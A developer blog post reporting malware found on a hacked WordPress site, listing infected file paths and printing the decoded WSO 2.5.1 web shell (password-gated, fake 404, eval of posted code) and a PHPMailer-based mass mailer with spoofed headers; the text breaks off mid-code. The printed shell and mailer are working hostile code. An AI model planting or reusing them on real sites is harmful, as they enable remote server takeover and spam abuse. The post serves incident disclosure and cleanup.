{ Dev Farm }

Web & Windows Development

WordPress massmailer malware and WSO 2.5.1 shell backdoor

| 4 commenti

5.00 avg. rating (94% score) - 2 votes

Ok, I found a suspicious file on another website and it’s a shell backdoor.

/wp-content/backup-2365b/.title14.php
/wp-content/uploads/wysija/themes/rss.lib.php
/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_gallery_display/static/fontawesome/admin38.php

this is original content:

and

And this is the unencrypted content:

$auth_pass = "f4eeb83f67a86ea7baaaac13bebe6417";

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    header('HTTP/1.0 404 Not Found');
    die("404");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;

Another bad file is:

/wp-content/themes/Avada/framework/plugins/envato-wordpress-toolkit-library/object.php

once unencrypted we found a mass mailer!

if(isset($_SERVER))
{
	$_SERVER['PHP_SELF'] = "/"; 
	$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
	if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
	{
		$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
	}
}

if(isset($_FILES))
{
	foreach($_FILES as $key => $file)
	{
		if(!strpos($file['name'], ".jpg"))
		{
			$filename = alter_macros($file['name']);
			$filename = num_macros($filename);
			$filename = xnum_macros($filename);
			$_FILES[$key]["name"] = $filename;
		}
	}
}
	
function custom_strip_tags($text)
{
    $text = strip_tags($text, '<a>');

    $text = str_replace("</a><a href="\&quot;&quot;,">", "", $text);
    $text = str_replace("\"&gt;", " ] ", $text);

    return $text;
}

function is_ip($str) {
  return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}

function from_host($content)
{

    $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);

    if (is_ip($host))
    {
        return $content;
    }
    
    $tokens = explode("@", $content);

    $content = $tokens[0] . "@" . $host . "&gt;";

    return $content;
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);

    for($i = 0; $i &lt; count($matches[1]); $i++)
    {

        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}


function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i &lt; count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;

        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i &lt; count($matches[0]); $i++)     {         $min = $matches[1][$i];         $max = $matches[2][$i];         $rand = rand($min, $max);         $content = str_replace($matches[0][$i], $rand, $content);     }     return $content; } function fteil_macros($content, $fteil) {         return str_replace("[FTEIL]", $fteil, $content); } class PHPMailer {     public $Version = '5.2.9';     public $Priority = 3;     public $CharSet = 'iso-8859-1';     public $ContentType = 'text/plain';     public $Encoding = '8bit';     public $ErrorInfo = '';     public $From = 'root@localhost';     public $FromName = 'Root User';     public $Sender = '';     public $ReturnPath = '';     public $Subject = '';     public $Body = '';     public $AltBody = '';     public $Ical = '';     protected $MIMEBody = '';     protected $MIMEHeader = '';     protected $mailHeader = '';     public $WordWrap = 0;     public $Mailer = 'mail';     public $Sendmail = '/usr/sbin/sendmail';     public $UseSendmailOptions = true;     public $PluginDir = '';     public $ConfirmReadingTo = '';     public $Hostname = '';     public $MessageID = '';     public $MessageDate = '';     public $Host = 'localhost';     public $Port = 25;     public $Helo = '';     public $SMTPSecure = '';     public $SMTPAuth = false;     public $Username = '';     public $Password = '';     public $AuthType = '';     public $Realm = '';     public $Workstation = '';     public $Timeout = 300;     public $SMTPDebug = 0;     public $Debugoutput = 'echo';     public $SMTPKeepAlive = false;     public $SingleTo = false;     public $SingleToArray = array();     public $do_verp = false;     public $AllowEmpty = false;     public $LE = "\n";     public $DKIM_selector = '';     public $DKIM_identity = '';     public $DKIM_passphrase = '';     public $DKIM_domain = '';     public $DKIM_private = '';     public $action_function = '';     public $XMailer = '';     protected $smtp = null;     protected $to = array();     protected $cc = array();     protected $bcc = array();     protected $ReplyTo = array();     protected $all_recipients = array();     protected $attachment = array();     protected $CustomHeader = array();     protected $lastMessageID = '';     protected $message_type = '';     protected $boundary = array();     protected $language = array();     protected $error_count = 0;     protected $sign_cert_file = '';     protected $sign_key_file = '';     protected $sign_key_pass = '';     protected $exceptions = false;     const STOP_MESSAGE = 0;     const STOP_CONTINUE = 1;     const STOP_CRITICAL = 2;     const CRLF = "\r\n";     public function __construct($exceptions = false)     {         $this-&gt;exceptions = (boolean)$exceptions;
    }

    public function __destruct()
    {

    }

    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') &amp; 1) {
            $subject = $this-&gt;secureHeader($subject);
        } else {
            $subject = $this-&gt;encodeHeader($this-&gt;secureHeader($subject));
        }
        if (ini_get('safe_mode') || !($this-&gt;UseSendmailOptions)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }

    protected function edebug($str)
    {
        if ($this-&gt;SMTPDebug &lt;= 0) {             return;         }         //Avoid clash with built-in function names         if (!in_array($this-&gt;Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this-&gt;Debugoutput)) {
            call_user_func($this-&gt;Debugoutput, $str, $this-&gt;SMTPDebug);
            return;
        }
        switch ($this-&gt;Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "
\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this-&gt;ContentType = 'text/html';
        } else {
            $this-&gt;ContentType = 'text/plain';
        }
    }

    public function isSMTP()
    {
        $this-&gt;Mailer = 'smtp';
    }

    public function isMail()
    {
        $this-&gt;Mailer = 'mail';
    }

    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this-&gt;Sendmail = '/usr/sbin/sendmail';
        } else {
            $this-&gt;Sendmail = $ini_sendmail_path;
        }
        $this-&gt;Mailer = 'sendmail';
    }

    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this-&gt;Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this-&gt;Sendmail = $ini_sendmail_path;
        }
        $this-&gt;Mailer = 'qmail';
    }

    public function addAddress($address, $name = '')
    {
        return $this-&gt;addAnAddress('to', $address, $name);
    }

    public function addCC($address, $name = '')
    {
        return $this-&gt;addAnAddress('cc', $address, $name);
    }

    public function addBCC($address, $name = '')
    {
        return $this-&gt;addAnAddress('bcc', $address, $name);
    }

    public function addReplyTo($address, $name = '')
    {
        return $this-&gt;addAnAddress('Reply-To', $address, $name);
    }

    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
            $this-&gt;setError($this-&gt;lang('Invalid recipient array') . ': ' . $kind);
            $this-&gt;edebug($this-&gt;lang('Invalid recipient array') . ': ' . $kind);
            if ($this-&gt;exceptions) {
                throw new phpmailerException('Invalid recipient array: ' . $kind);
            }
            return false;
        }
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (!$this-&gt;validateAddress($address)) {
            $this-&gt;setError($this-&gt;lang('invalid_address') . ': ' . $address);
            $this-&gt;edebug($this-&gt;lang('invalid_address') . ': ' . $address);
            if ($this-&gt;exceptions) {
                throw new phpmailerException($this-&gt;lang('invalid_address') . ': ' . $address);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!isset($this-&gt;all_recipients[strtolower($address)])) {
                array_push($this-&gt;$kind, array($address, $name));
                $this-&gt;all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this-&gt;ReplyTo)) {
                $this-&gt;ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (!$this-&gt;validateAddress($address)) {
            $this-&gt;setError($this-&gt;lang('invalid_address') . ': ' . $address);
            $this-&gt;edebug($this-&gt;lang('invalid_address') . ': ' . $address);
            if ($this-&gt;exceptions) {
                throw new phpmailerException($this-&gt;lang('invalid_address') . ': ' . $address);
            }
            return false;
        }
        $this-&gt;From = $address;
        $this-&gt;FromName = $name;
        if ($auto) {
            if (empty($this-&gt;Sender)) {
                $this-&gt;Sender = $address;
            }
        }
        return true;
    }

    public function getLastMessageID()
    {
        return $this-&gt;lastMessageID;
    }

    public static function validateAddress($address, $patternselect = 'auto')
    {
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE &lt;= 8.0.2                 if (version_compare(PCRE_VERSION, '8.0.3') &gt;= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') &gt;= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':

                return (boolean)preg_match(
                    '/^(?!(?&gt;(?1)"?(?&gt;\\\[ -~]|[^"])"?(?1)){255,})(?!(?&gt;(?1)"?(?&gt;\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?&gt;(?&gt;(?&gt;((?&gt;(?&gt;(?&gt;\x0D\x0A)?[\t ])+|(?&gt;[\t ]*\x0D\x0A)?[\t ]+)?)(\((?&gt;(?2)' .
                    '(?&gt;[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?&gt;(?2)(?&gt;[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?&gt;(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?&gt;([a-z0-9](?&gt;[a-z0-9-]*[a-z0-9])?)' .
                    '(?&gt;(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?&gt;IPv6:(?&gt;([a-f0-9]{1,4})(?&gt;:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?&gt;:(?6)){0,6})?::(?7)?))|(?&gt;(?&gt;IPv6:(?&gt;(?6)(?&gt;:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?&gt;((?6)(?&gt;:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?&gt;\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?&gt;"?(?&gt;\\\[ -~]|[^"])"?){255,})(?!(?&gt;"?(?&gt;\\\[ -~]|[^"])"?){65,}@)(?&gt;' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?&gt;(?&gt;[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?&gt;\.(?&gt;[!#-\'*+\/-9=?^-~-]+|"(?&gt;(?&gt;[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?&gt;(?![a-z0-9-]{64,})(?&gt;[a-z0-9](?&gt;[a-z0-9-]*[a-z0-9])?)(?&gt;\.(?![a-z0-9-]{64,})' .
                    '(?&gt;[a-z0-9](?&gt;[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?&gt;IPv6:(?&gt;(?&gt;[a-f0-9]{1,4})(?&gt;:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?&gt;[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,6})?' .
                    '::(?&gt;[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,6})?))|(?&gt;(?&gt;IPv6:(?&gt;[a-f0-9]{1,4}(?&gt;:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?&gt;[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,4})?' .
                    '::(?&gt;(?:[a-f0-9]{1,4}(?&gt;:[a-f0-9]{1,4}){0,4}):)?))?(?&gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?&gt;\.(?&gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&amp;\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                return (strlen($address) &gt;= 3
                    and strpos($address, '@') &gt;= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    public function send()
    {
        try {
            if (!$this-&gt;preSend()) {
                return false;
            }
            return $this-&gt;postSend();
        } catch (phpmailerException $exc) {
            $this-&gt;mailHeader = '';
            $this-&gt;setError($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    public function preSend()
    {
        try {
            $this-&gt;mailHeader = '';
            if ((count($this-&gt;to) + count($this-&gt;cc) + count($this-&gt;bcc)) &lt; 1) {                 throw new phpmailerException($this-&gt;lang('provide_address'), self::STOP_CRITICAL);
            }

            // Set whether the message is multipart/alternative
            if (!empty($this-&gt;AltBody)) {
                $this-&gt;ContentType = 'multipart/alternative';
            }

            $this-&gt;error_count = 0; // reset errors
            $this-&gt;setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this-&gt;AllowEmpty and empty($this-&gt;Body)) {
                throw new phpmailerException($this-&gt;lang('empty_message'), self::STOP_CRITICAL);
            }

            $this-&gt;MIMEHeader = $this-&gt;createHeader();
            $this-&gt;MIMEBody = $this-&gt;createBody();

            if ($this-&gt;Mailer == 'mail') {
                if (count($this-&gt;to) &gt; 0) {
                    $this-&gt;mailHeader .= $this-&gt;addrAppend('To', $this-&gt;to);
                } else {
                    $this-&gt;mailHeader .= $this-&gt;headerLine('To', 'undisclosed-recipients:;');
                }
                $this-&gt;mailHeader .= $this-&gt;headerLine(
                    'Subject',
                    $this-&gt;encodeHeader($this-&gt;secureHeader(trim($this-&gt;Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this-&gt;DKIM_domain)
                &amp;&amp; !empty($this-&gt;DKIM_private)
                &amp;&amp; !empty($this-&gt;DKIM_selector)
                &amp;&amp; file_exists($this-&gt;DKIM_private)) {
                $header_dkim = $this-&gt;DKIM_Add(
                    $this-&gt;MIMEHeader . $this-&gt;mailHeader,
                    $this-&gt;encodeHeader($this-&gt;secureHeader($this-&gt;Subject)),
                    $this-&gt;MIMEBody
                );
                $this-&gt;MIMEHeader = rtrim($this-&gt;MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;

        } catch (phpmailerException $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this-&gt;Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this-&gt;sendmailSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                case 'mail':
                    return $this-&gt;mailSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                default:
                    $sendMethod = $this-&gt;Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this-&gt;$sendMethod($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
                    }

                    return $this-&gt;mailSend($this-&gt;MIMEHeader, $this-&gt;MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this-&gt;setError($exc-&gt;getMessage());
            $this-&gt;edebug($exc-&gt;getMessage());
            if ($this-&gt;exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    protected function sendmailSend($header, $body)
    {
        if ($this-&gt;Sender != '') {
            if ($this-&gt;Mailer == 'qmail') {
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this-&gt;Sendmail), escapeshellarg($this-&gt;Sender));
            } else {
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this-&gt;Sendmail), escapeshellarg($this-&gt;Sender));
            }
        } else {
            if ($this-&gt;Mailer == 'qmail') {
                $sendmail = sprintf('%s', escapeshellcmd($this-&gt;Sendmail));
            } else {
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this-&gt;Sendmail));
            }
        }
        if ($this-&gt;SingleTo) {
            foreach ($this-&gt;SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this-&gt;lang('execute') . $this-&gt;Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this-&gt;doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this-&gt;cc,
                    $this-&gt;bcc,
                    $this-&gt;Subject,
                    $body,
                    $this-&gt;From
                );
                if ($result != 0) {
                    throw new phpmailerException($this-&gt;lang('execute') . $this-&gt;Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this-&gt;lang('execute') . $this-&gt;Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this-&gt;doCallback(($result == 0), $this-&gt;to, $this-&gt;cc, $this-&gt;bcc, $this-&gt;Subject, $body, $this-&gt;From);
            if ($result != 0) {
                throw new phpmailerException($this-&gt;lang('execute') . $this-&gt;Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this-&gt;to as $toaddr) {
            $toArr[] = $this-&gt;addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        if (empty($this-&gt;Sender)) {
            $params = ' ';
        } else {
            $params = sprintf('-f%s', $this-&gt;Sender);
        }
        if ($this-&gt;Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this-&gt;Sender);
        }
        $result = false;
        if ($this-&gt;SingleTo &amp;&amp; count($toArr) &gt; 1) {
            foreach ($toArr as $toAddr) {
                $result = $this-&gt;mailPassthru($toAddr, $this-&gt;Subject, $body, $header, $params);
                $this-&gt;doCallback($result, array($toAddr), $this-&gt;cc, $this-&gt;bcc, $this-&gt;Subject, $body, $this-&gt;From);
            }
        } else {
            $result = $this-&gt;mailPassthru($to, $this-&gt;Subject, $body, $header, $params);
            $this-&gt;doCallback($result, $this-&gt;to, $this-&gt;cc, $this-&gt;bcc, $this-&gt;Subject, $body, $this-&gt;From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this-&gt;lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' =&gt; 'SMTP Error: Could not authenticate.',
            'connect_host' =&gt; 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' =&gt; 'SMTP Error: data not accepted.',
            'empty_message' =&gt; 'Message body empty',
            'encoding' =&gt; 'Unknown encoding: ',
            'execute' =&gt; 'Could not execute: ',
            'file_access' =&gt; 'Could not access file: ',
            'file_open' =&gt; 'File Error: Could not open file: ',
            'from_failed' =&gt; 'The following From address failed: ',
            'instantiate' =&gt; 'Could not instantiate mail function.',
            'invalid_address' =&gt; 'Invalid address',
            'mailer_not_supported' =&gt; ' mailer is not supported.',
            'provide_address' =&gt; 'You must provide at least one recipient email address.',
            'recipients_failed' =&gt; 'SMTP Error: The following recipients failed: ',
            'signing' =&gt; 'Signing Error: ',
            'smtp_connect_failed' =&gt; 'SMTP connect() failed.',
            'smtp_error' =&gt; 'SMTP server error: ',
            'variable_set' =&gt; 'Cannot set or reset variable: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        if ($langcode != 'en') { // There is no English translation file
            // Make sure language file path is readable
            if (!is_readable($lang_file)) {
                $foundlang = false;
            } else {
                $foundlang = include $lang_file;
            }
        }
        $this-&gt;language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    public function getTranslations()
    {
        return $this-&gt;language;
    }

    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this-&gt;addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this-&gt;LE;
    }


    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this-&gt;secureHeader($addr[0]);
        } else {
            return $this-&gt;encodeHeader($this-&gt;secureHeader($addr[1]), 'phrase') . ' &lt;' . $this-&gt;secureHeader(
                $addr[0]
            ) . '&gt;';
        }
    }


    public function wrapText($message, $length, $qp_mode = false)
    {
        $soft_break = ($qp_mode) ? sprintf(' =%s', $this-&gt;LE) : $this-&gt;LE;

        $is_utf8 = (strtolower($this-&gt;CharSet) == 'utf-8');
        $lelen = strlen($this-&gt;LE);
        $crlflen = strlen(self::CRLF);

        $message = $this-&gt;fixEOL($message);
        if (substr($message, -$lelen) == $this-&gt;LE) {
            $message = substr($message, 0, -$lelen);
        }

        $line = explode($this-&gt;LE, $message); // Magic. We know fixEOL uses $LE
        $message = '';
        for ($i = 0; $i &lt; count($line); $i++) {
            $line_part = explode(' ', $line[$i]);
            $buf = '';
            for ($e = 0; $e &lt; count($line_part); $e++) {                 $word = $line_part[$e];                 if ($qp_mode and (strlen($word) &gt; $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if ($e != 0) {
                        if ($space_left &gt; 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this-&gt;utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) &gt; 0) {
                        if ($length &lt;= 0) {                             break;                         }                         $len = $length;                         if ($is_utf8) {                             $len = $this-&gt;utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) &gt; 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    $buf .= ($e == 0) ? $word : (' ' . $word);

                    if (strlen($buf) &gt; $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec &lt; 128) { // Single byte character.                     // If the encoded char was found at pos 0, it will fit                     // otherwise reduce maxLength to start of the encoded char                     $maxLength = ($encodedCharPos == 0) ? $maxLength :                         $maxLength - ($lookBack - $encodedCharPos);                     $foundSplitPos = true;                 } elseif ($dec &gt;= 192) { // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec &lt; 192) { // Middle byte of a multi byte character, look further back                     $lookBack += 3;                 }             } else {                 // No encoded character found                 $foundSplitPos = true;             }         }         return $maxLength;     }     public function setWordWrap()     {         if ($this-&gt;WordWrap &lt; 1) {             return;         }         switch ($this-&gt;message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this-&gt;AltBody = $this-&gt;wrapText($this-&gt;AltBody, $this-&gt;WordWrap);
                break;
            default:
                $this-&gt;Body = $this-&gt;wrapText($this-&gt;Body, $this-&gt;WordWrap);
                break;
        }
    }

    public function createHeader()
    {
        $result = '';

        // Set the boundaries
        $uniq_id = md5(uniqid(time()));
        $this-&gt;boundary[1] = 'b1_' . $uniq_id;
        $this-&gt;boundary[2] = 'b2_' . $uniq_id;
        $this-&gt;boundary[3] = 'b3_' . $uniq_id;

        if ($this-&gt;MessageDate == '') {
            $this-&gt;MessageDate = self::rfcDate();
        }
        $result .= $this-&gt;headerLine('Date', $this-&gt;MessageDate);


        // To be created automatically by mail()
        if ($this-&gt;SingleTo) {
            if ($this-&gt;Mailer != 'mail') {
                foreach ($this-&gt;to as $toaddr) {
                    $this-&gt;SingleToArray[] = $this-&gt;addrFormat($toaddr);
                }
            }
        } else {
            if (count($this-&gt;to) &gt; 0) {
                if ($this-&gt;Mailer != 'mail') {
                    $result .= $this-&gt;addrAppend('To', $this-&gt;to);
                }
            } elseif (count($this-&gt;cc) == 0) {
                $result .= $this-&gt;headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this-&gt;addrAppend('From', array(array(trim($this-&gt;From), $this-&gt;FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this-&gt;cc) &gt; 0) {
            $result .= $this-&gt;addrAppend('Cc', $this-&gt;cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this-&gt;Mailer == 'sendmail' or $this-&gt;Mailer == 'qmail' or $this-&gt;Mailer == 'mail'
            )
            and count($this-&gt;bcc) &gt; 0
        ) {
            $result .= $this-&gt;addrAppend('Bcc', $this-&gt;bcc);
        }

        if (count($this-&gt;ReplyTo) &gt; 0) {
            $result .= $this-&gt;addrAppend('Reply-To', $this-&gt;ReplyTo);
